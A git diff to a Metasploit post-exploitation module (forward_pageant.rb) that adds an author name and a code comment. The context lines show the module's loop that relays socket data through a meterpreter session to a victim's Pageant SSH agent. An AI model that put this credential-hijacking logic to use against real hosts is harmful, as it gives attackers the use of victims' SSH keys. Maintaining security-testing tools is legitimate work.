diff --git a/modules/post/windows/manage/forward_pageant.rb b/modules/post/windows/manage/forward_pageant.rb index c3febb766a..5ecf10df18 100644 --- a/modules/post/windows/manage/forward_pageant.rb +++ b/modules/post/windows/manage/forward_pageant.rb @@ -26,7 +26,8 @@ class Metasploit3 < Msf::Post }, 'License' => MSF_LICENSE, 'Author' => [ - 'Stuart Morgan ' + 'Stuart Morgan ', + 'Ben Campbell', ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ] @@ -72,7 +73,7 @@ class Metasploit3 < Msf::Post loop do s = serv.accept loop do - socket_request_data = s.recvfrom(8192) + socket_request_data = s.recvfrom(8192) # 8192 = AGENT_MAX break if socket_request_data.nil? || socket_request_data.first.nil? || socket_request_data.first.empty? vprint_status("PageantJacker: Received data from socket (size: #{socket_request_data.first.size})") response = client.pageantjacker.forward_to_pageant(socket_request_data.first, socket_request_data.first.size)